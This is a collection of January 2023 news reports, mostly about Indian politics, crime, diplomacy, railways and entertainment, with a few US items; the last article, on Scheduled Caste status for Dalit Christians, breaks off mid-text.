#WATCH | We don't appreciate Digvijaya Singh's personal views. His views are outlying views. We are absolutely clear that the Armed Forces do their job exceptionally well and they do not need to provide proof of that: Congress MP Rahul Gandhi pic.twitter.com/O67iRg8aNk  ANI (@ANI) January 24, 2023

Earlier today, Singh, at the centre of a political storm over his critical remarks, said that he has deepest regards for the countrys defence forces." Trying to put an end to the row after questioning the authenticity of the 2019 surgical strikes, the veteran Congress politician said, "I have got the greatest regard for the Defence forces" as his party leaders marched forward along with other padayatris of the Rahul Gandhi-led Bharat Jodo Yatra in Jammu and Kashmir.

Facing criticism from several quarters, Congress too issued a statement saying, all that needed to be said has already been done, and the questions should now be directed at the Prime Minister. Congress spokesperson Jairam Ramesh said this while lashing out at the media on Tuesday - a day after Singh stirred up the hornet`s nest by saying that there is no proof of 2019 Surgical Strikes.

Singhs party has distanced itself from him as Congress in-charge of Communication, Jairam Ramesh told the media while walking for the Bharat Jodo Yatra in Jammu and Kashmir that the "views expressed by senior leader Digvijaya Singh are his own and do not reflect the position of Congress."

Ramesh also refrained from answering any further questions and said that "We have answered all the questions." "You go and ask the Prime Minister the questions," said Jairam Ramesh. "Congress party has said whatever it wanted to. I tweeted yesterday regarding the same. I do not want to say anything other than this," he said.

Taking to Twitter, Ramesh claimed on Monday that even the Congress-led UPA government had carried out surgical strikes. "The views expressed by senior leader Digvijaya Singh are his own and do not reflect the position of Congress. Surgical strikes were carried out before 2014 by the UPA government. Congress has supported and will continue to support all military actions that are in the national interest," Ramesh tweeted.

His tweet and reactions came shortly after Singh said there is no proof of the 2019 surgical strike against Pakistan, while the Centre claims to have carried out the attack. "They (Centre) talk about surgical strikes and that they have killed so many of them but there is no proof," said Digvijaya Singh in his address in Jammu on Monday.

On February 14, 2019, a CRPF convoy was attacked by militants in Kashmir`s Pulwama, in which 44 Indian jawans lost their lives. Striking back, on February 26, 2019, Indian Air Force fighter jets targeted an advanced terror training camp of Jaish-e-Mohammed in Pakistan`s Balakot.

The day after, Islamabad attempted to target Indian military installations but was thwarted by the IAF. Bharatiya Janata Party has alleged that the opposition party has been "blinded" by its "hate" for Prime Minister Narendra Modi and has "insulted" the armed forces while adding that such statements are made at the behest of the top leadership of Congress.

BJP national spokesperson Gaurav Bhatia said that it has become a "character" of the Congress party to make "irresponsible remarks". Union Minister Jyotiraditya Scindia listed out Digvijaya Singh`s alleged controversies and said that he has added "one more to his list of anti-national activities".
ELKO  One miner was killed and another injured Monday afternoon at the Goldstrike Underground operation, Nevada Gold Mines reported Tuesday morning.

The incident occurred at approximately 12:50 p.m.

NGM said the injured worker was treated and released.

Our thoughts and prayers are with the families, friends and coworkers of the employees involved, stated the company, which has more than 7,000 employees in Nevada.

Counseling and other support resources are being made available. The Mine Safety and Health Administration and other agencies have been notified and the area where the incident occurred has been secured.

Our primary focus is supporting those involved and working to fully understand the circumstances that led to this event, NGM said.

MSHA posted a notice on its website classifying the fatality as involving hand tools.

The last hardrock mining fatality in Nevada was nearly a year ago when a truck driver was killed in a crash on Feb. 14 at NGMs Cortez Underground Mine.

The last fatalities at the Goldstrike underground operation were in August 2010, when two miners at the Meikle Mine were killed by falling material while attempting to clear an obstruction in an aggregate delivery pipe.

Further information on Mondays incident will be posted as it is made available.
New Delhi: Calling Egyptian President Abdel Fattah El-Sisis India trip a "historic visit," Prime Minister Narendra Modi said that Sisi being the chief guest of the Republic Day parade is a matter of "immense happiness." Taking to Twitter, PM Modi said, "Warm welcome to India, President Abdel Fattah el-Sisi. Your historic visit to India as Chief Guest for our Republic Day celebrations is a matter of immense happiness for all Indians. Look forward to our discussions tomorrow." Sisi arrived in New Delhi and was accorded a warm welcome. He will be the chief guest at the 74th Republic Day parade. He is accompanied by a high-level delegation, including five ministers and senior officials on his official visit from January 24-27.

Warm welcome to India, President Abdel Fattah el-Sisi. Your historic visit to India as Chief Guest for our Republic Day celebrations is a matter of immense happiness for all Indians. Look forward to our discussions tomorrow. @AlsisiOfficial  Narendra Modi (@narendramodi) January 24, 2023

It is pertinent to mention that this is the first time the President of Egypt has been invited as the chief guest on Republic Day. Notably, India and Egypt are celebrating 75 years of establishment of diplomatic relations this year. India has also invited Egypt as a guest country during its G20 Presidency.

Also read: Egypt Prez Abdel Fattah El-Sisi Arrives in India, To Attend Republic Day Parade

Before heading towards India, the Spokesman for the Egyptian Presidency stated that the invitation President El-Sisi received to attend the celebrations as a guest of honour reflects the convergence between the two countries, according to the statement released by the Egyptian President`s website.

"It also reflects India`s profound appreciation for Egypt`s leadership, government, and people, and its keenness to strengthen joint cooperation between the two friendly countries as two of the most important emerging countries which have vital roles regarding various regional and international issues," the statement added. According to the statement, the spokesman said that the President's visit to India coincides with the 75th anniversary of the establishment of diplomatic relations between Egypt and India.

Sisi is scheduled to meet President Droupadi Murmu, Prime Minister Narendra Modi, and External Affairs Minister S Jaishankar among others, with whom he will hold a meeting at the Rashtrapati Bhawan, as per a media advisory released by the MEA.

On the same day, the Egyptian president will lay a wreath at the Rajghat, the memorial of the Father of the Nation, Mahatma Gandhi. He will hold a meeting with PM Modi and discuss bilateral, regional, and global issues of mutual interest during his stay. The same evening, President Droupadi Murmu will host a state banquet in honour of the visiting dignitary.

Sisi will attend the "at home" reception by President Murmu at Rashtrapati Bhawan. He will also hold a meeting with Vice President Jagdeep Dhankhar. He will interact with the business community in India. Sisi will return to Cairo on January 27.

(With inputs from ANI)
Bihar Minister Alok Kumar Mehta on Monday in a letter addressed to the Station Incharge of the Secretariat police station alleged that he received death threats from two people over a call on his registered official mobile number. In his letter, the Minister of Revenue and Land Reforms in the Bihar government claimed that both the callers used casteist slurs and threatened to kill him.

According to the Rashtriya Janata Dal (RJD) leader, the name of the first caller appeared to be Deepak Pandey on a mobile app that shows the registered identity of the caller. The second caller`s name appeared as Pappu Tripathi on the app, said the minister while submitting the numbers of the callers to the police in the letter.

The RJD leader requested the police to take immediate action against the two callers and provide for necessary security and safety. Earlier on Saturday, while speaking at a public meeting in Bihar`s Bhagalpur district, Mehta said, "People, who used to toll bells at temples, are now occupying powerful positions. Take Uttar Pradesh Chief Minister Yogi Adityanath for instance." Further, targeting upper caste communities, the minister said 10 per cent of the country`s population, who used to be agents of the British Raj, are now running their writ on the remaining 90 per cent comprising disadvantaged and backward communities. Ninety per cent of our population, which was represented by (former Bihar deputy chief minister) Jagdev Babu, was exploited first by the British Raj and then by their agents, whom Jagdev Babu called 10 per cent," Mehta claimed.

Facing a huge backlash on social media, the minister clarified his statements. In a personalised video, Mehta said the 10 per cent that Jagdev Babu talked about are not people of any particular caste but represent a class, which has been exploiting the backward classes and the practice continues to this day.
There has been an uproar in the political corridors after senior Congress leader Digvijaya Singh's statement on the Pulwama attack and surgical strike. The phase of political rhetoric is going on regarding this. Meanwhile, Madhya Pradesh Chief Minister Shivraj Singh Chouhan launched a scathing attack on the Congress, Rahul Gandhi and Digvijaya Singh. He said that this was an attempt to bring down the morale of the army.

Shivraj Singh Chouhan said, "Congress's DNA is in favour of Pakistan. They are asking for proof of a surgical strike. It's an attempt to demoralize the Army. Rahul Gandhi ji what kind of Bharat Jodo yatra is this? The tukde-tukde gang is walking with you." Attacking the Congress leader Digvijaya Singh, Chouhan said, "Madhya Pradesh was once a stronghold of SIMI under the rule of Digvijaya Singh." He said that at least the Congress should not try and commit the sin of lowering the morale of the army.

#WATCH | Congress's DNA is in favour of Pakistan. They are asking for proof of surgical strike. It's an attempt to demoralize Army. Rahul Gandhi ji what kind of Bharat Jodo yatra is this? Tukde-tukde gang is walking with you: Madhya Pradesh CM Shivraj Singh Chouhan pic.twitter.com/m5QByTHwbW January 24, 2023

Controversial Statement of Digvijaya Singh

Significantly, the 'Bharat Jodo Yatra' reached Jammu on Monday. During this, Digvijaya Singh asked for proof of the surgical strike and accused the BJP-led Union government of spreading lies. Digvijaya said, "They (the Centre) keep harping on surgical strikes. They talk about how many were killed in surgical strikes but there is no proof of that." Also, Digvijay Singh said, "Where did the terrorist get 300 kg RDX in the Pulwama incident? 40 of our CRPF jawans were martyred in Pulwama. CRPF officials had requested PM Modi that personnel should be airlifted, but PM Modi didn't agree. How did such a lapse take place? Till date, no report on Pulwama has been placed before Parliament."

Elections are going to be held in Madhya Pradesh in the month of November this year and, meanwhile, the politics of the state here is also heating up, as this time the process of allegations and counter-allegations between Shivraj Singh Chouhan and senior Congress leaders seem to be intensifying.
NEW DELHI: Delhi Police on Tuesday filed a 6,629-page long chargesheet against Aaftab Amin Poonawala, who is accused of brutally killing his live-in partner Shraddha Walkar at his residence in Delhi's Mehrauli in May last year. prior to that, Delhi Police also presented Aaftab Poonawala before the Saket Court through video conferencing.

Aftab was presented in court through video conferencing. Chargesheet of around 6,629 pages has been filed by the police.  ANI (@ANI) January 24, 2023

The court later extended his custody by two weeks till February 7, according to news agency ANI.

Shraddha Walker murder case | Delhi Police reached Saket court with a copy of the charge sheet. https://t.co/r7asbE70VV pic.twitter.com/g3HRfJiCgs  ANI (@ANI) January 24, 2023

During the court proceedings, Metropolitan Magistrate Aviral Shukla asked how many pages were there in the chargesheet, the investigating officer said it contains 6,629 pages. To which, the judge replied by saying, ''It is voluminous." "The chargesheet has finally been placed before the court today," he added.

The lengthy chargesheet filed by the Delhi Police with over 100 eyewitnesses is based on the forensic and electronic evidence in connection with the case.

Shraddha Walker murder case | Saket court to take cognizance of the charge sheet filed by the Delhi Police on February 7. The court also ordered the police to produce Aftab physically before the court on February 7.  ANI (@ANI) January 24, 2023

In the chargesheet, Delhi Police has also mentioned that the bones recovered from the forests of Chhatarpur and their DNA report matches with that of Shraddha's. Apart from this, the confession of Aaftab Poonawala and the report of the narco test have also been included, said sources. However, both these reports do not have much importance in the court, as per Delhi Police sources.

On January 4, the police said samples of hair and bones recovered by them from a forest area in South Delhi's Mehrauli matched with Shraddha's. Earlier on December 9, the Saket Court extended Aftab's judicial custody by 14 days.

Poonawala is accused of brutally murdering his girlfriend Shraddha Walkar and chopping her body into 35 pieces. After the cold-blooded murder, he then kept the body pieces in a 300-liter fridge for almost three weeks at his residence in Delhi's Mehrauli before dumping them across the capital over several days in May last year.
Lucknow: Chief Minister Yogi Adityanath on Tuesday (January 24) said casteism, regionalism, and linguism have caused irreparable damage to Uttar Pradesh and now it has to move forward with determination to become the best state in the country. The chief minister made the remarks after inaugurating along with Governor Anandiben Patel the three-day 'Uttar Pradesh Day' celebrations. "Today UP is moving forward with pride and dignity. The lines of division on the basis of caste, region, religion, and language have caused irreparable damage to Uttar Pradesh. Ending these anomalies, we have to move forward with determination to make UP stand in the category of the best state," Adityanath said.

He also said that being born in UP is a matter of pride in itself. "It is difficult to be born in India and it is more difficult to be born as a human being. If there is an opportunity to be born in Uttar Pradesh, then it is a pride for an Indian," the chief minister said.

Also read: Yogi Adityanath praises PM, says 'Modi hai to mumkin hai has become a global slogan'

"This is the birthplace of 'Maryada Purushottam' Lord Shri Ram and 'Leeladhari' Shri Krishna. It is the holy land of Tathagat Gautam Buddha...Also the land of Ganga-Yamuna. This is the 74th foundation day of Uttar Pradesh and it is being held as 'UP Day' with a new resolution," the CM said.

Adityanath said UP should act as a growth engine for Prime Minister Narendra Modi's aim to make India's economy the world's largest. The three-day statewide event from January 24-26 is being celebrated this year with a focus on investment and employment. The UP foundation day (January 24) has been celebrated for three days since 2018 with the participation of all government departments.

However, this year, it has been decided to ensure public participation in the celebrations, an official statement quoting UP Chief Secretary Durga Shankar Mishra had earlier said. Referring to the contribution of UP in the freedom struggle, the chief minister recalled the names of freedom fighters like Mangal Pandey, Rani of Jhansi, Bandhu Singh, Dhan Singh Kotwal and said that Gorakhpur's Chauri Chaura incident, and Lucknow's Kakori Kand (conspiracy) are witnesses to the freedom struggle.

Naimisharanya of Sitapur is the base of India's Vedic knowledge and it is also in UP, he said. Giving credit to former Governor Ram Naik for organizing UP Day, Adityanath said, "I cannot forget that when the double engine government was formed in 2017, then Governor Ram Naik reminded all of us that all the states have their own foundation day and organise it as their day, but UP does not."

"He (Naik) expressed the desire to organise it and in 2018 it was started. The 'One District-One Product' (ODOP) scheme was taken forward on this day," he said, adding that this (ODOP) scheme has doubled the exports of UP.

On the occasion, several schemes including Chief Minister Handicraft Pension Scheme, Handicraft Marketing Promotion Scheme, and exemption in stamp duty were launched. People were also awarded 'Rani Laxmi Bai Puraskar' and 'Laxman Puraskar' for their remarkable contributions in various fields. Addressing the ceremony, Deputy Chief Minister Brajesh Pathak said that no one thought of celebrating UP Day before the formation of the BJP government.

Pathak said the law and order were miserable in the state before 2017, while the tourism industry was also destroyed, but Chief Minister Yogi Adityanath gave importance to culture and heritage along with eliminating the mafia raj.

Earlier, Tourism and Culture Minister Jaiveer Singh welcomed the guests including the governor and the chief minister. On this occasion, several artists presented the folk arts of different regions of the state.

Uttar Pradesh came into existence on January 24, 1950, when the governor-general of India passed the United Provinces (Alteration of Name) Order 1950, renaming the United Provinces as Uttar Pradesh. The governor general's order was published in the Uttar Pradesh Gazette (Extraordinary) dated January 24, 1950.

(With inputs from PTI)
Thiruvananthapuram: Student outfits Democratic Youth Federation of India (DYFI) and the Student Federation of India (SFI) on Tuesday said that it will screen the BBC documentary on Prime Minister Narendra Modi in Kerala. Taking to its Facebook handle, the youth wing of the CPI (M) on Tuesday said that the documentary `India: The Modi Question` will be screened at venues across the state on Tuesday and Wednesday. A show would be held at Poojappura in Thiruvananthapuram, it said.The SFI has said that it will screen the documentary at various campuses across the state.

Also, Youth Congress President Shafi Parambil in a Facebook post said, "Will screen the documentary `India: The Modi Question` in Kerala."On January 23 night, a group of students at Hyderabad Central University (HCU) organised the screening of the BBC documentary inside the campus. The screening was organised by the Student Islamic Organisation (SIO) and the Muslim Student Federation known as the Fraternity group and over 50 students from these groups attended the screening.ABVP student leader Mahesh said, "We have escalated the matter to the University authorities and have demanded action on the organisers.

The group is organising screening without permission inside the campus premises."Hyderabad Police said, "We have received the information that some students organised screening inside the campus but haven`t received any written complaint. If we receive a complaint investigation will be taken up."On Monday administration of the Jawaharlal Nehru University in New Delhi warned against screening the BBC documentary on the campus after a group of students released a pamphlet inviting students to a screening of the film at the students union`s office at 9 pm on Tuesday.

According to an advisory issued by the JNU administration, the group of students in the name of Jawaharlal Nehru University Students` Union, have not sought permission for the screening of the documentary, from the administration and said that such "unauthorized activity" may "disturb peace and harmony" of the University campus.

The Centre last week denounced the controversial BBC documentary series on Prime Minister Modi describing it as a "propaganda piece" designed to push a discredited narrative. The Centre also ordered YouTube and Twitter to take down links sharing the BBC documentary.

"We think this is a propaganda piece designed to push a particular discredited narrative. The bias and lack of objectivity and frankly continuing colonial mindset are blatantly visible," External Affairs Ministry spokesperson Arindam Bagchi said during a weekly media briefing.The MEA spokesperson added that the documentary is a reflection of individuals that are peddling this narrative again.

Meanwhile, in a strong response to the BBC documentary, more than 300 eminent Indians, including retired judges, bureaucrats, and armed forces veterans signed a statement slamming the British national broadcaster for showing "unrelenting prejudice" towards India and its leader.
New Delhi: Raveena Tandon wears many hats! Apart from being a National Award-winning actor, she is also known to be a philanthropist, associated with various causes.

She has also been recognised by the Women and Child Ministry for the significant roles she has played over the years in empowering women. After she adopted two daughters as a single mother at age 21, she was dubbed a pioneer!

Now, she has been selected by the Ministry to attend the esteemed W20 as a delegate. W20 is the Women`s Empowerment engagement wing at the G20.

The Women 20 (W20) is an official G20 engagement group, established during the Turkish presidency in 2015. The objective is to ensure that gender considerations are mainstreamed into G20 discussions and translated into the G20 Leaders Declaration as policies and commitments that foster gender equality and women`s economic empowerment.

When asked about this, she said, "I am honoured to be invited and to represent 675 million Indian women in India as part of this delegation. Women in our country contribute to diverse sectors to run the economy and their efforts should be recognized internationally. Having This summit is a fantastic opportunity to empower women and provide them with more rights for their full social and economic participation. The proposed priority areas to be discussed are very much in line with my expectations."

Working diligently with a number of organisations, including UNICEF, Cry, the White Ribbon Alliance for Safe Motherhood, the Spina Bifida Association, and the Smile Foundation, Raveena has been fighting for the rights of girls. She also single-handedly housed 30 girls in her own house and built an orphanage in Vasai for them after they were thrown out by their landlord.

Meanwhile, on the work front, she made her web debut with `Aranyak` in 2021, in which she played a tough cop. The series received a positive response from the audience and critics as well.

She was last seen in the blockbuster film `KGF 2` alongside South star Yash.

If we talk about her future projects, Raveena will rekindle her on-screen chemistry with Sanjay Dutt after a two-year gap in the upcoming romantic-comedy `Ghudchadi`.
New Delhi: Actor and host Maniesh Paul took to his social media to share an adorable picture with actor turned politician Smriti Irani, with a fun and witty caption, as the duo met in Delhi for tea.

Sipping hot tea in the cold winters of Delhi, Maniesh Paul visited Honourable Minister of Minority Affairs Smriti Irani, who is also fondly known as Tulsi Virani from Indian Television's most successful show in history 'Kyukii Saas Bhi Kabhi Bahu Thi.'

Maniesh shared the picture saying, "When an abhineta met a neta who was once an abhineta!! @smritiiraniofficial maam thank you so much for taking out time for mealways a pleasure to see you and thanks for the warmth you always showed me with HUGE RESPECT!"

Earlier last year too Maniesh Paul paid a visit to Smriti Irani, wherein the duo enjoyed cups of Kadha amidst the Covid times.

On the work front, after enjoying accolades and love from the audience and critics alike for his entertaining and impactful performance in JugJugg Jeeyo, Maniesh Paul is currently gearing for his digital debut, featuring the actor in an all-new avatar.

Maniesh Paul also regularly makes headlines for his much-loved podcast, known for unfolding interesting, untold and engaging conversations with guests from different walks of life, like Bharti Singh, Sharad Kelkar, Prajakta Koli, Anu Mallik, Krushna Abhishek, and Govinda amongst others.
Mumbai: The RBI on Monday extended the time till December-end for banks to enter into revised agreements with safe deposit locker holders as a large number of customers are yet to do so.

In August, 2021 the Reserve Bank of India (RBI) had asked banks to enter into revised agreements with the existing locker holders by January 1, 2023 in view of various developments in the area of banking and technology, nature of consumer grievances and also the feedback received.

"However, it has come to the notice of RBI that a large number of customers are yet to sign the revised agreement.

"In many cases, the banks are yet to inform the customers about the need to do so before the stipulated date (January 1, 2023)," the central bank said in a statement while extending the deadline for banks to complete the process of renewal of agreements for the existing safe deposit lockers in a phased manner by December 31, 2023.

Banks have been asked to notify all their customers of the revised requirements by April 30, 2023 and ensure that at least 50 per cent and 75 per cent of their existing customers have executed the revised agreements by June 30 and September 30, 2023, respectively.

Banks also have to facilitate execution of the fresh/supplementary stamped agreements with their customers by taking measures such as arranging stamp papers, electronic execution of agreement, e-stamping, and providing a copy of the executed agreement to the customer.

The RBI also said in cases where operations in lockers have been frozen for non-execution of agreement by January 1, 2023, "the same shall be unfrozen with immediate effect".

The August 2021 guidelines pertain to customer due diligence, model locker agreement, locker rent, security of strong rooms, and attachment and recovery of contents in a locker and the articles by any law enforcement authority, among others.

The RBI further said there is a need for revision in the Model Agreement drafted by the Indian Banks' Association (IBA) to fully comply with the revised instructions.

"IBA is being advised separately to review and revise the Model Agreement to ensure that it complies with the requirements of circular dated August 18, 2021 and circulate a revised version to all banks by February 28, 2023," it said in a circular.
The Indian Railways is among the densest and busiest rail networks in the world. Established in mid-1800s, the Indian Railways now cater the length and breadth of the country, spanning from Kashmir in the North to Kanyakumari in the South. As per a government data, Indian Railways transported more than 8 billion passengers in 2020, which is highest among any country in the world. In terms of the rail length, the Indian Railways is fourth in the worlds, after the US, Russia and China. Having said that, the Indian Railways, for the longest of the time, has been seen as a mode of transport for the people in lower or middle-class income strata.

There are a variety of reasons why the rich and affluent dont choose the Indian Railways, despite it being one of the most economical and comfortable mode of transports. One of the top most reasons is the speed of the trains. Indian Railways runs a variety of trains, right from sub-urban trains to long route express trains. However, our average speed has never crossed 100 kmph. In fact, India has long fiddled with the concept of high-speed and semi-high speed trains, but to no avail.

While Shatabdi and Rajdhani Express have been the fastest trains in India, options like Gatimaan Express and Tejas Express has also been introduced. However, none could generate as much interest among travellers as the Vande Bharat Express. The semi-high speed train has become a hit among the train travellers. Not only this, India is also readying its first Bullet Train corridor in partnership with Japan.

In terms of urban long distance inter-city transport, India is also preparing RRTS corridor. Although technically not part of Indian Railways, it is a form of rail transport, more similar to Metro trains. Heres a look at various high and semi-high speed trains that will give a boost to Indian Railways and train passengers:

The Vande Bharat Express, also known as Train 18, is a semi-high-speed, intercity, electric multiple-unit train operated by the Indian Railways. It accelerates to 100 km per hour in just 52 seconds. Indian Railways is also working on sleeper version of the Vande Bharat trains, that can go upto 220 kmph top speed. The Vande Bharat 2.0 trains have the KAVACH (Train Collision Avoidance System) for enhanced safety in operations. The Vande Bharat Express currently runs of 8 routes in India:

Route 1: New Delhi - Varanasi Vande Bharat Express

Route 2: New Delhi - Shri Mata Vaishno Devi Katra (J&K) Vande Bharat Express

Route 3: Gandhinagar and Mumbai Vande Bharat Express

Route 4: New Delhi to Amb Andaura in Himachal Pradesh Vande Bharat Express

Route 5: Chennai-Mysuru Vande Bharat Express

Route 6: Nagpur-Bilaspur Vande Bharat Express

Route 7: Howrah - New Jalpaiguri Vande Bharat Express

Route 8: Secunderabad-Visakhapatnam Vande Bharat Express

Bullet Train

Indian Railways is working to give India its first bullet train by 2026. The project is aimed at running the bullet train between Ahmedabad and Mumbai on a high speed rail (HSR) corridor at a speed of 320 kmph, covering a distance of 508 km and 12 stations. The bullet train is expected to reduce the travel time between the two cities to about three hours from the current six hours. The Japan International Cooperation Agency (JICA) is funding 81 percent of project cost which is estimated at Rs 1.1 lakh crore.

Technically, the Delhi-Meerut Rapid Rail Transit System is not part of Indian Railways. However, Indias first RRTS corridor will give impetus to Indias rail network and passengers. Being made by NCRTC, the first corridor is being setup between Delhi and Meerut at a length of 86 km. Later, more corridors will be established between Delhi-Alwar and Delhi-Karnal. The RRTS will run Alstom-made trainsets with speed upto 180 kmph. Trains on Duhai-Sahibabad priority stretch have already completed trial runs at 160 kmph, making them the fastest trains in India.
Finalists for the 25th Annual Cashman Good Government Award have been announced, and the winner will be announced at the Nevada Taxpayers Associations Biennial Legislative Dinner in Carson City, however, none of the finalists are from Elko County this year.

Elko County Manager Amanda Osborne was a finalist last year for the award that recognizes those in government service, and Elko attorney and Nevada Taxpayers Association member Sharon Byram said she hopes there will be interest in nominations for next year.

The six finalists for this years award included the Boulder and Henderson fire departments, the Community Services Department for Douglas County, the Truancy Prevention Outreach Program in Clark County, Nevada State College, and the directors office of the Nevada Department of Motor Vehicles.

The members of the selection committee met as a panel after individually examining each entry, and individual scores were compiled into a composite score sheet then reviewed the committee, according to the announcement.

Cindy Creighton, president of the Nevada Taxpayers Association, said nominations for the 26th annual awards will open in September. The associations website is www.nevadataxpayers.org.
Bengaluru: The Karnataka forest authorities have booked Kannada actor Darshan and his wife Vijaya Lakshmi under the Wildlife Protection Act for keeping the rare bar-headed geese at their farm in Mysuru. Darshan, ironically, is an ambassador for wildlife conservation and he was also nominated to the State Wildlife Board.

The authorities have also booked the farmhouse manager, Nagaraj. The forest department sleuths conducted raids following Darshan's statement in an interview that he has these rare migratory birds at his farmhouse.

The authorities have seized four of the rare birds and released them near the Hadinaru lake in Bengaluru, which is considered a magnet for migratory birds.

Deputy Conservator of Forests B. Bhaskar had stated that his sleuths also found a black swan, ostrich, emu and other rare species of birds at the farmhouse. They have asked for the documents relating to the actor obtaining permission from the authorities to rear these birds at his farmhouse.

Darshan is all set for his big release 'Kranthi' this week. The media has decided not to publish news regarding his new film following his derogatory remarks against media houses.
New Delhi: 'Bigg Boss 16' is one of the top shows running in India today. It has a fan following in millions and has been considered as one of the most successful seasons till now. The host of the show Salman Khan is the best in what he does undoubtedly but for this weekend, fans will have to miss him as Farah Khan will take over this week.

Filmmaker Farah Khan is all set to step into Salman Khan's shoes and host the upcoming Weekend Ka Vaar episode of 'Bigg Boss 16.' As the show got extended, Salman already had his plates full post mid-January, so in his absence, Farah Khan will be seen hosting the forthcoming episodes of the show.

Don't be sad already, as Salman Khan has agreed to host the grand finale of 'Bigg Boss 16.' Not just that, but the actor has stated that if his calendar allows then he might even come and host a few episodes of the ongoing season.

For the unversed, Farah Khan had earlier graced 'Bigg Boss 16' as a family member to support and motivate her brother Sajid Khan.

Along with this, the 'Weekend Ka Vaar' episode will see special guests gracing the show this time. Kartik Aaryan, Kriti Sanon, Anil Kapoor and Mika Singh will make a grand appearance this weekend with the gharwalas.

'Bigg Boss 16' commenced in October, with rising TRP's the controversial reality show got a month's extension and will have its finale on February 12.

Contestants who are still in the house currently include Archana Gautam, Shiv Thakare, Sumbul Touqeer, Priyanka Choudhary, MC Stan, Nimrit Kaur Ahluwalia, Tina Datta and Shalin Bhanot.
Washington, Jan 24 (PTI) Former US Secretary of State Mike Pompeo has claimed that he was awakened to speak to his then Indian counterpart Sushma Swaraj who told him that Pakistan was preparing for a nuclear attack in the wake of the Balakot surgical strike in February 2019 and India is preparing its own escalatory response.

In his latest book 'Never Give an Inch: Fighting for the America I Love' that hit the stores on Tuesday, Pompeo says that the incident took place when he was in Hanoi for the US-North Korea Summit on February 27-28 and his team worked overnight with both New Delhi and Islamabad to avert this crisis.

"I do not think the world properly knows just how close the India-Pakistan rivalry came to spilling over into a nuclear conflagration in February 2019. The truth is, I don't know precisely the answer either; I just know it was too close," Pompeo writes.

India's warplanes pounded a Jaish-e-Mohammed terrorist training camp in Balakot in Pakistan in February 2019 in response to the Pulwama terror attack that killed 40 CRPF jawans.

"I'll never forget the night I was in Hanoi, Vietnam when - as if negotiating with the North Koreans on nuclear weapons wasn't enough - India and Pakistan started threatening each other in connection with a decades-long dispute over the northern border region of Kashmir," Pompeo says.

"After an Islamist terrorist attack in Kashmir- probably enabled in part by Pakistan's lax counterterror policies - killed forty Indians, India responded with an air strike against terrorists inside Pakistan. The Pakistanis shot down a plane in a subsequent dogfight and kept the Indian pilot prisoner," he said.

"In Hanoi, I was awakened to speak with my Indian counterpart. He believed the Pakistanis had begun to prepare their nuclear weapons for a strike. India, he informed me, was contemplating its own escalation. I asked him to do nothing and give us a minute to sort things out (sic)," Pompeo writes in his book, which wrongly refers to Swaraj as "he".

"I began to work with Ambassador (then National Security Advisor John) Bolton, who was with me in the tiny secure communications facility in our hotel. I reached the actual leader of Pakistan, (Army chief) General (Qamar Javed) Bajwa, with whom I had engaged many times. I told him what the Indians had told me. He said it wasn't true," Pompeo says.

"As one might expect, he believed the Indians were preparing their nuclear weapons for deployment. It took us a few hours - and remarkably good work by our teams on the ground in New Delhi and Islamabad - to convince each side that the other was not preparing for nuclear war," the 59-year-old top former American diplomat wrote in his book.

There was no immediate comment from the Ministry of External Affairs on Pompeo's claims.

"No other nation could have done what we did that night to avoid a horrible outcome. As with all diplomacy, the people working the problem set matter a great deal, at least in the short run. I was fortunate to have great team members in place in India, none more so than Ken Juster, an incredibly capable ambassador. Ken loves India and its people," he said.

"And, most of all, he loves the American people and worked his tail off for us every day. My most senior diplomat, David Hale, had also been the US ambassador to Pakistan and knew that our relationship with India was a priority," Pompeo said.

"General McMaster and Admiral Philip Davidson, the head of what came to be renamed the US Indo-Pacific Command, understood India's importance, too,? he said.

"Although often frustrated by the Indians, US trade representative Robert Lighthizer - a brilliant trade negotiator and a Bob Dole staff alumnus, making him a near-Kansan - was a great partner working to deepen economic ties. We all shared the view that America had to make a bold strategic effort to tighten our ties with India and break the mold with new ideas,? Pompeo writes in his book.

(The above article is sourced from news agency PTI. Zeenews.com has made no editorial changes to the article. News agency PTI is solely responsible for the contents of the article)
California: Eight people died and many left injured in separate shooting incidents reported in three US cities on Tuesday. The most recent of the many shootings occurred in the Californian community of Half Moon Bay, where four people died and three others suffered life-threatening injuries. Authorities and local lawmakers, adding that a man suspected in the killings is currently under custody. According to Josh Becker, Representative of California state said that the killings took place in separate shootings on the outskirts of Half Moon Bay, a city about 30 miles south of San Francisco.

In yet another incident two students died and a third was seriously wounded in shooting incident at a youth outreach center in Des Moines, Iowa, police said. Police responded to a report of a shooting at Starts Right Here, which runs a program for at-risk youths, and found three people wounded, two of them critically. "Those two people, both students, are dead now at the hospital. The third person, who is an employee of the school, is in serious condition," said Paul Parizek, a spokesman for the Des Moines police department.

Meanwhile, two people died and three others were critically injured in a home invasion shooting in a Chicago apartment Monday afternoon, authorities said. Multiple suspects fled from the scene and were not in custody, police said.

Mentioning shootings in schools, AP reported that it was the sixth incident at a school in the US this year in which someone was injured or killed, but the first with fatalities, according to Education Week, which tracks school shootings.

There were 51 school-related injuries or fatalities last year and 150 since 2018. In Uvalde, Texas, an elementary school had the worst school shooting of the year, which claimed the lives of 21 people.


The case for treating Dalit Muslims and Dalit Christians as Scheduled Castes was further delayed after the Supreme Court set up a Commission last October.

Riya Talitha | TwoCircles.net

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NEW DELHI  Prominent Dalit Christian group, the National Council for Dalit Christians (NCDC) has strongly objected to the formation of the Balakrishnan Commission by the Supreme Court.

In October last year, the apex court called for forming a commission after hearing a bunch of petitions regarding the inclusion of Dalit Christians and Dalit Muslims into the category of Scheduled Caste that had come up for hearing after a decade.

The top court set up a commission headed by the former Chief Justice of India, K. G. Balakrishnan to consider the inclusion of Dalit Muslims and Dalit Christians as Scheduled Castes, with a report expected in two years.

What is the issue?

The Presidential (Scheduled Castes) Order of 1950 states that only those who are Hindu, Sikh or Buddhist can be a part of the Scheduled Caste. It was later amended in 1956 to include Sikhism and in 1990 to include Buddhism. The Presidential order denied the same constitutional status to those members of a scheduled caste who converted to Islam and Christianity.

Immediately after Independence, reservations for Scheduled Castes and Scheduled Tribes were constitutionally mandated to rectify historical injustice and to increase accessibility to previously denied resources and opportunities.

Reservations as forms of affirmative action, remain one of the few mechanisms for socio-economic mobility for caste-oppressed and marginalised groups. However, Dalit Muslims and Christians remained currently barred from contesting in reserved constituencies, as well as from scholarship or employment benefits, despite suffering the same disadvantages as Dalit Hindus, Buddhists and Sikhs.

The Modi government endorsed the presidential order in its latest affidavit in the court and opposed the expansion of Scheduled Caste (SC) status for Dalit Christians and Muslims.

Petition pending since 2004

